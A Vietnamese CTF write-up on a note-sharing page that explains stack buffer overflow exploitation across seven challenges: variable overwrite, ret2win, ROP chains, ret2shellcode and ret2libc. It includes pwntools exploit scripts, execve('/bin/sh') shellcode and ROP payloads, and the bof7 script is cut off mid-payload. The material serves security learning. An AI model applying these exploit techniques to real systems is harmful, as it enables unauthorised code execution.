giangnd
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    1
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Buffer Overflow ## Bof 1 ### Phân tích * Load file vào **IDA**: ![image](https://hackmd.io/_uploads/BkECBrykxl.png) * `v5,v6,v7` khởi tạo bằng $0$ và đều **8 bytes**, nhập `buf` , xóa các kí tự xuống dòng, sau đó in ra `v7,v6,v5` . Nếu `v7,v6,v5` đều khác $0$ thì có **shell**. ### Ý tưởng * Ở đây , `buf` được khai báo **16 bytes**, nhưng `buf` được đọc tận **48 bytes**. Vậy tức là nếu nhập quá **16 bytes** thì từ **bytes thứ 17** trở đi sẽ ghi đè xuống `v5,v6,v7`. * Vậy để thay đổi giá trị `v5,v6,v7` khác `0` để **get shell**, ta cần ghi đè giá trị `buf` **16 + 8 + 8 + 8 = 40 bytes < 48 bytes**. ### Exploit ![image](https://hackmd.io/_uploads/rJR1KS1Jlg.png) ## Bof 2 ### Phân tích * Load file vào **IDA**: ![image](https://hackmd.io/_uploads/SkLJ9rJkge.png) * Cũng như `bof 1`, tuy nhiên lần này `v5,v6,v7` có giá trị cụ thể. ### Ý tưởng * Vẫn là dựa vào **buffer overflow** khi nhập `buf`, tuy nhiên 3 giá trị `v5,v6,v7` lần này không nhập được từ bàn phím, vậy nên phải thực thi qua `pwntools`. ### Exploit ```py from pwn import * p = process('./bof2') v7 = p64(0x13371337) v6 = p64(0xDEADBEEF) v5 = p64(0xCAFEBABE) payload = 16*b'A' + v5 + v6 + v7 p.sendlineafter(b'> ',payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/ryjz6S1Jle.png) * Thử debug bằng **GDB** thì ta thấy : ![Screenshot 2025-04-18 111004](https://hackmd.io/_uploads/HkNxW8J1xl.png) * Khi đến dòng thực thi `system("/bin/sh")` , 3 giá trị `v5,v6,v7` đã được set như phân tích ở trên. Có thể thấy kết quả của chúng ở `[rsp+10h],[rsp+18h],[rsp+20h]`, cũng đã được khai báo trên console của **IDA** ## Bof 3: Ret2Win * `win` ở đây thường là 1 hàm có tác dụng **đọc flag** hoặc **lấy shell**, gần như không được gọi đến trong logic thực thi luồng chương trình. * Như ta đã biết, `rip` lưu trữ địa chỉ của lệnh `asm` tiếp theo thực thi. Vậy sau khi thực hiện `call` tới 1 hàm con,`rip` lúc này sẽ được đẩy vào **Stack**, trở thành giá trị `[rsp]`. Hay nói cách khác `[rsp]` mới chính là `rip`. --> đây là cơ chế **save_RIP**. * Và đương nhiên, khi `call` xong, hay nói cách khác là hàm con đó thực thi xong, thì `[rsp]` pop ngược lại vào `rip` để nhảy tới lệnh `asm` tiếp theo. * Vậy cách làm của những bài dạng này sẽ là tìm offset tới `save_rip`, sau đó ghi đè địa chỉ hàm `win` lên `save_rip`, lúc đó thì luồng chương trình sẽ nhảy tới hàm `win` chứ không còn như logic thực thi hàm như ban đầu nữa. * Leak địa chỉ hàm `win`: **exe.sym['win']** nếu **PIE** tắt hoặc xác định được `exe base`, còn không thì cứ `p &win` trong **GDB**. :::warning * Đối với hệ thống `x86-64`, `rsp` phải luôn chia hết cho 16 (aligned to 16 bytes) * Khi `pop [rsp]` , giá trị `rsp -= 8` và không chia hết cho 16 nữa. Tuy nhiên khi `call` để thực thi hàm con, nó sẽ expect `rsp += 8` để chia hết cho 16, cụ thể là sử dụng các câu lệnh `movaps, movdqa, call printf ... ` để tránh lỗi `SIGSEGV: Invalid memory alignment` * Vậy khi thay `rip = $win` --> không đi qua lệnh `call` --> `stack alignment` sai --> `crash`. Thường sẽ là thanh ghi `xmm0,xmm1` ::: :::info Vậy việc cần làm là thêm địa chỉ `ret` tăng 8 bytes, hay là `rsp += 8` , điều này sẽ căn chỉnh lại `rsp` về đúng chuẩn 16-byte, sau đó mới vào `win`. ::: ### Phân tích * Load file vào **IDA**: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char buf[28]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+1Ch] [rbp-4h] v5 = 0; init(argc, argv, envp); printf("> "); v5 = read(0, buf, 48uLL); if ( buf[v5 - 1] == '\n' ) buf[v5 - 1] = 0; return 0; } ``` * Ở đây tồn tại 1 hàm `win`: ```py int win() { return system("/bin/sh"); } ``` ### Ý tưởng * Như phân tích ở trên, leak địa chỉ hàm `win` --> tính offset tới `save_rip` --> sau đó ghi đè `p &win` vào `save_rip`. * Thực hiện `checksec`: ![image](https://hackmd.io/_uploads/HJx99qxyle.png) * **PIE** tắt -> có thể leak được địa chỉ hàm `win` bằng cả 2 cách. ### Exploit * Đặt breakpoint tại hàm `read()`: ![Screenshot 2025-04-19 110810](https://hackmd.io/_uploads/rJuJfolyel.png) * Sau đó `r` để nhảy tới breakpoint, hay chính là hàm `win` để nhập, tiếp theo tạo 1 `pattern` **48 bytes**(chính là **size của v5**): ![Screenshot 2025-04-19 111104](https://hackmd.io/_uploads/H1VpzieJxl.png) * `ni` tới lệnh `ret`, có thể thấy lúc này `0x00007fffffffdae8` chính là `[rsp]` hay là `save_rip`, sau đó tìm **offset** tới nó: ![Screenshot 2025-04-19 111408](https://hackmd.io/_uploads/B1hwmjxJgx.png) * **Script**: ```py from pwn import * p = process("./bof3") exe = ELF("./bof3") payload = b'A'*40 + p64(exe.sym['win'] + 8) p.sendafter(b'>',payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HkxDEjeJee.png) ## Bof 4: ROPchain * Kỹ thuật này mục đích là tìm những đoạn code nhỏ trong `binary/ libc` ( gọi là `gadget`) rồi kết hợp chúng lại thành 1 chuỗi lệnh để điều khiển, thực thi chương trình. Mục tiêu chính là thay đổi giá trị các thanh ghi, thực hiện theo ý muốn (ví dụ gọi `execve("/bin/sh", ...)`) mà không cần chèn **shellcode** trực tiếp. * Có nhiều công cụ hỗ trợ cho kỹ thuật này, điển hình là **ROPgadget**. Ví dụ: :::info `$ ROPgadget --binary <file> | grep "pop rax"` ::: * Thông thường, đối với những bài đơn giản chỉ cần **ROP** để **execve shell**, 4 thanh ghi ta phải kiểm soát đó là `rax,rdi,rsi,rdx` | Thanh ghi | Vai trò | Giá trị cần set | |---------------------|--------------------------------|-----------------------------| | `$rax` | [Số hiệu syscall](https://x86.syscall.sh/) (`execve`) | `0x3b` | | `$rdi` | Đối số thứ nhất: `filename` | Địa chỉ chuỗi `"/bin/sh"` | | `$rsi` | Đối số thứ hai: `argv` | `0x0` (NULL) | | `$rdx` | Đối số thứ ba: `envp` | `0x0` (NULL) | thì lúc này câu lệnh tương ứng sẽ là `execve("/bin/sh",0,0)` ### Phân tích * Load file vào **IDA**: ```py int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d char v8[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); printf((unsigned int)"Say something: ", (_DWORD)argv, v3, v4, v5, v6, v8[0]); gets(v8); return 0; } ``` ### Ý tưởng * Dùng `ROPgadget` để tìm địa chỉ các câu lệnh `pop rax,rdi,rsi,rdx`. **ROP** lại để tạo câu lệnh `execve("/bin/sh",0,0)` ### Exploit * Đầu tiên, ta thử **overwrite** để xem **offset** tới `save_rip` là bao nhiêu * Tạo 1 `pattern` tầm $0x200$ bytes, `ni` tới `ret` để xem nó **overwrite** tới `save_rip` chưa và lấy **offset**: ![Screenshot 2025-04-19 152408](https://hackmd.io/_uploads/Bym06ClJgg.png) * Ta thấy **offset** tới `save_rip` là 88, vậy cần nhập trước 88 bytes. ( Thực ra cũng không cần làm cầu kì như này vì `v8` là 80 bytes + `save_rip` là 8 bytes thì offset tới là 88 bytes) * Tiếp theo, dùng `ROPgadget` để tìm địa chỉ các câu lệnh `pop rax,rdi,rsi,rdx`: ![Screenshot 2025-04-19 143923](https://hackmd.io/_uploads/BJxaXClJge.png) :::info Lý do vì sao chọn các địa chỉ này: Ưu tiên địa chỉ câu lệnh mà có `pop thanh ghi đó` đứng ngay đầu tiên. ::: * Tương tự với `syscall`: ![Screenshot 2025-04-19 144736](https://hackmd.io/_uploads/ByB8HAg1ex.png) * Nếu như chuỗi ``'/bin/sh'`` có trong chương trình thì chỉ cần `search-pattern '/bin/sh'` là được, còn nếu không có thì bắt buộc phải tạo ra chuỗi đó, và việc cần làm tiếp theo là tìm ra 1 vùng nhớ/ địa chỉ nào đó để ghi chuỗi này. * Địa chỉ mà chúng ta cần ghi vào, đương nhiên nó phải **tĩnh** và **còn trống**, có quyền **write** ![Screenshot 2025-04-19 145657](https://hackmd.io/_uploads/SJCDwAxkgg.png) * Ta `x/50xg 0x0000000000406000` (In ra $50$ ô nhớ $8$ byte liên tiếp từ địa chỉ `0x0000000000406000` dưới dạng **hex**) và `Enter` liên tục đến khi thấy được vùng trống: ![image](https://hackmd.io/_uploads/r1W-OCxyeg.png) * **Script**: ```py from pwn import * p = process("./bof4") exe = ELF("./bof4") pop_rax = 0x0000000000401001 pop_rdi = 0x000000000040220e pop_rsi = 0x00000000004015ae pop_rdx = 0x00000000004043e4 syscall = 0x000000000040132e rw_section = 0x406e00 payload = b'A'*88 payload += p64(pop_rdi) + p64(rw_section) payload += p64(exe.sym['gets']) ### Thực thi execve("/bin/sh",0,0) ### payload += p64(pop_rdi) + p64(rw_section) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += b'B'*0x28 payload += p64(pop_rax) + p64(0x3B) payload += p64(syscall) p.sendlineafter(b'something: ',payload) p.sendline(b'/bin/sh') p.interactive() ``` * Khi thấy giá trị của 4 thanh ghi được set như này thì là đúng rồi. ![Screenshot 2025-04-19 155621](https://hackmd.io/_uploads/ryk5Bk-kee.png) ![image](https://hackmd.io/_uploads/SkxlU1bkge.png) :::info Tại sao lại có đoạn `payload += b'B'*0x28`? ![Screenshot 2025-04-19 161601](https://hackmd.io/_uploads/r1675JWyxg.png) Theo như mình hiểu thì như sau: * Đối với code kia của chúng ta, thực hiện tổng cộng 5 lần `pop`, mỗi lần `pop` sẽ lấy ra 8 bytes từ `Stack`, vậy tổng là $5*8=40=0x28$ bytes, vậy việc chương trình xuất hiện lệnh `add rsp, 0x28` chính là cơ chế đảm bảo `stack alignment`, không bị thiếu hụt hay lỗi --> crash chương trình. Vậy việc pad thêm $0x28$ bytes của chúng ta giúp cho cân bằng stack, từ đó `pop_rax` tiếp theo được thực hiện đúng và $0x3B$ sẽ set vào đúng thanh ghi `rax`. ::: ## Bof 5: Ret2Shellcode không leak * Trước khi tìm hiểu kỹ thuật tiếp theo thì có lẽ chúng ta cần phải tìm câu trả lời cho những câu hỏi về **Shell code.** :::info * :question: Khi chúng ta code 1 chương trình bằng ngôn ngữ **C**, máy tính có hiểu không? * --> Không. Máy tính chỉ hiểu mã nhị phân. Mà mã nhị phân thì con người chúng ta lại không hiểu được. Ở đây, chương trình **C** được biên dịch sang Assembly rồi sang mã nhị phân. ( **C** --> Assembly --> mã nhị phân). ::: * Tuy nhiên mã nhị phân con người lại không hiểu được. Vậy phải có ngôn ngữ hay 1 cái gì đó mà khiến cho cả con người và máy tính hiểu. Từ đó các nhà phát triển đã có 1 cách biểu diễn khác những lệnh assembly thành hệ thập lục phân ( hex ) - cả con người và máy tính đều hiểu. * Đoạn hex này tương đương với mã nhị phân mà máy tính hiểu --> **Shell code** :::info * :question: Vậy **shell code** là gì? * --> Hiểu 1 cách đơn giản thì **shell code** là 1 đoạn mã assembly ngắn thực hiện 1 điều gì đó, thường sẽ **đọc, ghi file hoặc tạo shell**. ::: * Ví dụ về **shell code** ở dưới đây: ```py section .text global _start _start: mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ``` * Đây chính là 1 đoạn **shell code** thực thi `system call` **execve("/bin/sh", NULL, NULL)** rất quen thuộc trên **bof4-ROPchain** :::info 29400045130965551 chính là mã hex tương đương chuỗi "/bin/sh\0" ![image](https://hackmd.io/_uploads/By85otGkeg.png) ::: * Tác dụng của đoạn **shell code** này thì có lẽ mình không cần giải thích thêm nữa. * Để lấy **shell code** này chỉ cần sử dụng lệnh: `objdump -d <tên file>` ![image](https://hackmd.io/_uploads/B1manYz1lx.png) * Có thể sử dụng 2 trang web này để tự động viết **shell code** : [Defuse](https://defuse.ca/online-x86-assembler.htm) hoặc [shellcode_gen](https://masterccc.github.io/tools/shellcode_gen/). :::info * :question: `Shell code` tại sao chỉ có `section .text` mà không có `section .data` để lưu dữ liệu? --> Vì: * Trong `shellcode` thường sử dụng dữ liệu kiểu chuỗi. * `section .data` chứa dữ liệu **tĩnh**, cần được tham chiếu qua **địa chỉ tuyệt đối (absolute addressing)**. Nếu inject có thể gây **crash**. * Trong khi đó, `section .text` là nơi chứa mã thực thi (code), nên có thể: * Đẩy dữ liệu trực tiếp lên **stack**. * Tham chiếu bằng địa chỉ tương đối. ::: --> Thay vì khai báo biến thì ta chỉ cần đẩy dữ liệu vào **stack**, lợi dụng thanh ghi **RSP**. :::warning * Một số lưu ý thêm nữa đó là: * Hàm `gets(buf)` dừng khi gặp dấu xuống dòng 🡪 `shellcode` không nên chứa **0x0A hay '\n'** * Hàm `strcpy(buf, src)` sẽ dừng khi gặp ký tự kết thúc chuỗi trong src 🡪 `shellcode` không nên chứa **0x00 (NULL)** * Ta muốn đưa `shellcode` vào `buffer` 🡪 kích thước `shellcode` càng nhỏ càng tốt. ::: :::info Do kỹ thuật này thao tác với **stack** nên sẽ dùng khi **`NX` tắt (stack thực thi được)** ::: ----> Đó là 1 chút tìm hiểu của mình về **shell code**. Bây giờ chúng ta đến với chall. ### Phân tích * **Checksec**: ![image](https://hackmd.io/_uploads/HkT66W7Jxe.png) --> **NX tắt** * Load file vào **IDA**: * Hàm `main`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char v4[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); run(v4); return 0; } ``` * * Hàm `run`: ```py void *__fastcall run(void *v4) { char v2[524]; // [rsp+10h] [rbp-210h] BYREF int v3; // [rsp+21Ch] [rbp-4h] v3 = 0; puts("What's your name?"); printf("> "); read(0, v4, 80uLL); puts("What do you want for christmas?"); printf("> "); read(0, v2, 544uLL); // buffer overflow return v4; } ``` * Phân tích qua chút thì v4 ở đây không vấn đề gì, nhưng v2 thì gây lỗi buffer overflow. * Đầu tiên ta cứ nhập đủ bytes của 2 hàm `read` để xem: ![Screenshot 2025-04-21 080229](https://hackmd.io/_uploads/By0StfQJll.png) * Khi nhập `v4` là chuỗi `giang`, `v2` là pattern 544 bytes, thì có thể thấy: * Tới lệnh `ret` của hàm `run()`, `rax` lúc này trỏ tới địa chỉ chuỗi `v4`, còn `rsp` hay `save_rip` trỏ tới địa chỉ chuỗi `raaaaaacgiang`. Nói cách khác thì ở đây ta overwrite được 8 bytes của `save_rip`. :::info * Vậy sau lệnh `ret` của hàm `run()` đó **( đặc biệt hơn ở đây là return v4)**, chúng ta đều biết chương trình sẽ lấy địa chỉ đỉnh **stack**, hay là `rsp` để nhảy tới. Vậy từ đó dẫn tới điều gì để chúng ta có thể khai thác? * Sau lệnh `ret` của hàm `run()`, chương trình sẽ nhảy tới địa chỉ nằm tại `rsp`, tức là `saved_rip`. Do đó, khi chúng ta kiểm soát được nội dung ghi vào **stack** (thông qua overflow từ `v2`), thì có thể ghi đè `saved_rip` để chuyển hướng chương trình. Đồng thời, vì hàm `run()` thực hiện `return v4` mà thấy ở trên thì `rax` = `&v4`. * Vậy ta chỉ cần cho `v4` chứa `shellcode`, rồi overwrite sao cho `saved_rip` = `&call rax`, thì chương trình sẽ thực hiện `call rax` → nhảy vào `shellcode` ở `v4` và thực thi. ::: ### Ý tưởng * Tạo **shell code** và nhập vào `v4`, nhập `v2` 544 bytes sao cho 8 bytes cuối là `&call_rax`. Cái này thì dùng `ROPgadget` như trên `bof4-ROPchain` nhe. ### Exploit ```py from pwn import * p = process("./bof5") exe = ELF("./bof5") shellcode = asm( ''' mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''',arch = 'amd64' ) call_rax = 0x0000000000401014 p.sendafter(b'> ',shellcode) p.sendafter(b'> ',b'A'*536 + p64(call_rax)) p.interactive() ``` ![image](https://hackmd.io/_uploads/r1sxx7Q1gx.png) ## Bof 6: Ret2shellcode cần leak * Sự khác biệt ở `bof 5` và `bof 6` là ta xác định xem có cần hay không cần leak **stack** - hay là `rsp/save_rip`. * 1 chú ý nhỏ là `bof 5` thì do hàm `run()` nó `ret v4`, nên chỉ cần vào debug là kiểm soát được **stack**. Còn đối với `bof 6` dưới đây thì không xảy ra điều này. ### Phân tích * Load file vào **IDA**: * Hàm `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+8h] [rbp-8h] BYREF int v5; // [rsp+Ch] [rbp-4h] v5 = 0; init(argc, argv, envp); while ( !v5 ) { puts("Welcome to christmas gifting system"); puts("1. Enter your name"); puts("2. Send a wish"); puts("3. Exit"); printf("> "); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { get_name(); } else if ( v4 == 2 ) { get_wish(); } else { v5 = 1; } } return 0; } ``` * * Hàm `get_name()`: ```py int get_name() { char buf[80]; // [rsp+0h] [rbp-50h] BYREF puts("What's your name?"); printf("> "); read(0, buf, 80uLL); printf("Hello %sI have a message from santa:\n", buf); puts("----------------------------------------------------------"); puts( "| Due to your good behavior, I will give you a wish. |\n" "| You can wish for anything you want and I will give you |\n" "| that as a gift for being a good boy! |"); return puts("----------------------------------------------------------"); } ``` * * Hàm `get_wish()`: ```py ssize_t get_wish() { char buf[512]; // [rsp+0h] [rbp-200h] BYREF puts("What do you want for christmas?"); printf("> "); return read(0, buf, 544uLL); // buffer overflow } ``` * Ở đây còn 1 chú ý nhỏ nữa, là `option 1` - (hàm `get_name()`) sử dụng hàm `read()` để đọc `buf` được nhập vào. :::info * Hàm `read()` khi ta nhập input, sẽ không tự động thêm **byte NULL ( 0x00 )** như hàm `fgets()` vào cuối chuỗi, và nó sẽ **leak** ra cả chuỗi tiếp theo nó. ::: * Ở đây mình thử luôn: ![Screenshot 2025-04-21 143829](https://hackmd.io/_uploads/rJWQId7Jgx.png) * Có thể thấy mình nhập chuỗi `giangnd`, tiếp theo là `Enter` thì là `0xa` hay là `\n`, đó là 8 bytes đầu của `rsp`, tuy nhiên thì khi `x/s` thì nó in cả 8 bytes tiếp theo ( giá trị ở dấu --> ) :::warning Nhưng có thể thấy sau chuỗi `giangnd\n` thì ta đếm chỉ có `6 bytes` chứ không phải `8 bytes` theo như phân tích. --> Bởi vì 2 byte kia là `0x0000` mà :smile: Điều này quan trọng bởi vì nếu không để ý mà code exploit đặt `leak` **stack** là 8 bytes thì sẽ sai ngay, ở đây chỉ 6 bytes mới là địa chỉ **stack** thui nha. ::: ![Screenshot 2025-04-21 145240](https://hackmd.io/_uploads/rJu9t_71le.png) * Thường thì địa chỉ **stack** sẽ không leak ra bằng giá trị ở ô đỏ mình tô kia, mà sẽ leak từ `rbp` sau đó trừ size vào sau. * Ở hàm `get_name()`, `buf` nhận tối đa 0x50 bytes rồi push vào **stack**. --> Vậy dựa vào những gì ta phân tích từ nãy tới giờ thì ta sẽ ghi đủ 0x50 bytes tại hàm `get_name()`, lúc đó sẽ chạm tới và ta sẽ leak được địa chỉ `rbp` (có thể thấy địa chỉ `rsp` ở đúng +0x0050). --> Vậy, `option 1` chúng ta sẽ dùng để `leak` **stack**. * Khi `leak` được **stack** rồi, thì chỉ cần chèn **shell code** và thực thi như `bof5` thôi. Và điều này sẽ làm ở `option 2`. ### Ý tưởng * Chọn `option 1` rồi nhập đủ 0x50 bytes --> `leak` được **stack** --> Dùng `option 2` để chèn **shell code** và thực thi. ### Exploit ```py from pwn import * exe = ELF("./bof6") p = process("./bof6") ################################# ### Leak stack ### ################################# p.sendlineafter(b'>',b'1') p.sendafter(b'>',b'A'*0x50) p.recvuntil(b'A'*0x50) stack_leak = u64(p.recv(6) + b'\0\0') print("Stack leak: ",hex(stack_leak)) ###################################### ### Inject shellcode and get shell ### ###################################### shellcode = asm( ''' mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''',arch = 'amd64' ) payload = shellcode.ljust(0x220 - 24) payload += p64(stack_leak - 0x220) p.sendlineafter(b'>',b'2') p.sendafter(b'>',payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HJ72UY71ex.png) :::success * Giải thích thêm 1 chút nhe: * Phần `leak` **stack** và inject **shell code** thì không vấn đề gì nữa khi phân tích rất rõ ở trên nhe. * `payload += p64(stack_leak - 0x220)`, như đã nói ở trên, đây là `rbp`, vậy để biết `rsp` hay `save_rip` thì vào debug rồi lấy 2 giá trị đó trừ đi nhau là ra offset. Còn mình nghĩ không cần cầu kì như vậy khi tại `option 2` thì `buf` được `read` 0x220 bytes --> Đó chính là offset cần tìm. * `payload = shellcode.ljust(0x220 - 24)`. Ở đoạn overwrite này sao lại trừ đi 24 bytes? --> 8 bytes cuối là vừa đủ chạm tới `save_rip` để sau lệnh `ret` sẽ nhảy tới địa chỉ chứa **shell code**. Còn 16 bytes ngay trước 8 bytes cuối đó chính là phần pad theo cơ chế **Stack alignment** giúp cân bằng stack khi thực hiện `pop` và `push`--> để không gây crash chương trình. ::: ## Bof 7: Ret2libc * Trước tiên chúng ta cần tìm hiểu 1 vài khái niệm liên quan trước. :::info :question: `Libc` là gì? --> `Libc` (short for **C** standard library) là thư viện tiêu chuẩn của ngôn ngữ lập trình **C**. Nó chứa rất nhiều hàm cơ bản như: `printf, scanf, fgets, malloc, free, ...` Đặc biệt có các hàm hệ thống như `system, exit, read, write, ...` Trong hệ thống Linux, một trong những phiên bản phổ biến của `libc` là `glibc`. Thư viện này nằm trong mỗi chương trình **C** khi biên dịch, và thường được ánh xạ vào bộ nhớ ở một địa chỉ cụ thể khi chương trình chạy. ::: * Tiếp theo là 2 khái niệm khá quan trọng đối với những bài liên quan tới `libc` là [**GOT** và **PLT**](https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got) :::info `PLT` và `GOT` là hai thành phần trong tệp `ELF` giúp xử lý **liên kết động** – một cơ chế phổ biến trong CTF để **giảm kích thước** file nhị phân. Thay vì nhúng toàn bộ mã (như hàm `puts`) vào tệp, chương trình sẽ **liên kết động** đến các hàm trong thư viện hệ thống (như libc). Cách này không chỉ tiết kiệm dung lượng mà còn cho phép cập nhật thư viện mà không cần biên dịch lại chương trình. :question: `GOT` là gì? --> `Global offset table`: Bảng lưu trữ **địa chỉ thực** của các hàm từ `libc` :question: `PLT` là gì? --> `Procedure Linkage Table`: Mã trung gian để gọi các hàm được chứa trong `GOT` ![image](https://hackmd.io/_uploads/Byyr8hu1xx.png) * Ta thấy địa chỉ `0x403fd8` là của hàm `puts` trong `GOT` và nó chứa địa chỉ `0x00007ffff7dfde50`. * Còn `PLT` sẽ thực thi hàm chứa trong địa chỉ `0x00007ffff7dfde50`. * 1 ví dụ về quá trình này. Khi gọi hàm `read()` thì những việc sau đây xảy ra : * Nhảy vào `.plt` của `read()` * `jmp` vào một địa chỉ trong `.got.plt`. * Nếu địa chỉ này **chưa resolve** thì nó sẽ trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong `.plt`. Nếu **resolve** rồi thì thực hiện nó * Nếu chưa **resolve** thì bước này là bước đi **resolve** ![image](https://hackmd.io/_uploads/BJaiu1Y1gx.png) * Để hiểu cơ chế này thì mọi người có thể đọc kỹ thuật **ret2dlresolve** nha. ::: * Cuối cùng có lẽ là khái niệm về [ASLR](https://ctf101.org/binary-exploitation/address-space-layout-randomization/). :::info :question: `ASLR` là gì? **Address Space Layout Randomization**: là việc ngẫu nhiên hóa vị trí trong bộ nhớ nơi `chương trình`, `thư viện`, `stack`, `heap`,... . Đối với các bài trong CTF thì ta có thể thấy khi **PIE bật**. Điều này có thể khiến kẻ tấn công khó khai thác hơn, vì vị trí `stack`, `heap` hoặc `libc` không thể được sử dụng lại giữa các lần chạy chương trình. Đây là một cách hiệu quả một phần để ngăn chặn kẻ tấn công nhảy đến `libc` mà không bị rò rỉ. ::: 💡 1 chút kiến thức nho nhỏ nữa là khi **Full RELRO**: bảng **GOT** được bảo vệ chỉ có thể `read_only` --> không thể overwrite **GOT**. * Có lẽ như vậy là đủ rồi. Đến với bài lần này nào. ### Phân tích * Load file vào **IDA**: ```python int __cdecl main(int argc, const char **argv, const char **envp) { char buf[80]; // [rsp+0h] [rbp-50h] BYREF init(argc, argv, envp); puts("Say something: "); read(0, buf, 120uLL); // buffer overflow return 0; } ``` * Hàm `puts` nhận một tham số duy nhất là địa chỉ của chuỗi cần in (kiểu const char *) và địa chỉ đó lưu tại `rdi`. * Lợi dụng điều đó, có thể thực hiện overwrite đến `save_rip`, đưa địa chỉ `puts@GOT` vào thanh ghi `rdi` và in ra **libc base**, từ đó xác định phiên bản libc và gọi hàm thực thi để lấy shell. Ở đây là gọi `system("/bin/sh")` :::success Lý do tại sao phải xác định phiên bản libc thích hợp, hay nói đúng hơn là leak **libc base**. Đó là vì theo mình tìm hiểu, nếu chạy local mà file không patch thì mặc định là dùng `libc.so.6`. Nhưng khi chạy trên server thì có thể dùng libc khác --> không exploit được. * Ví dụ ở đây có thể thấy rõ khi chạy local và chạy trên server thì 2 giá trị khác nhau: ![image](https://hackmd.io/_uploads/rkT4FCd1xl.png) * Ở đây có 1 trang web là https://libc.rip/ tiện lợi cho việc tìm phiên bản libc tương ứng. ![image](https://hackmd.io/_uploads/B1U5FC_1lg.png) * Tìm được `libc` rồi thì patch vào file thôi * ![image](https://hackmd.io/_uploads/B1sXJJKklg.png) * Nếu chưa setup hay config thì chưa `pwninit` được đâu. Làm theo [blog này](https://hackmd.io/@blackpwner/HygJmhhIkx#Pwninit) nha. ::: ### Ý tưởng * Leak địa chỉ hàm `puts` trong `libc` --> tính địa chỉ base của `libc` --> Gọi `system("/bin/sh")` từ `libc` để lấy `shell`. ### Exploit ```py from pwn import * exe = ELF('./bof7_patched', checksec=False) libc = ELF('./libc6-amd64_2.31-0ubuntu9.1_i386.so', checksec=False) # p = process(exe.path) p = remote('127.0.0.1', 9993) ###################################### ### Leak libc ### ###################################### pop_rdi = 0x0000000000401263 payload = b'A'*88 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += 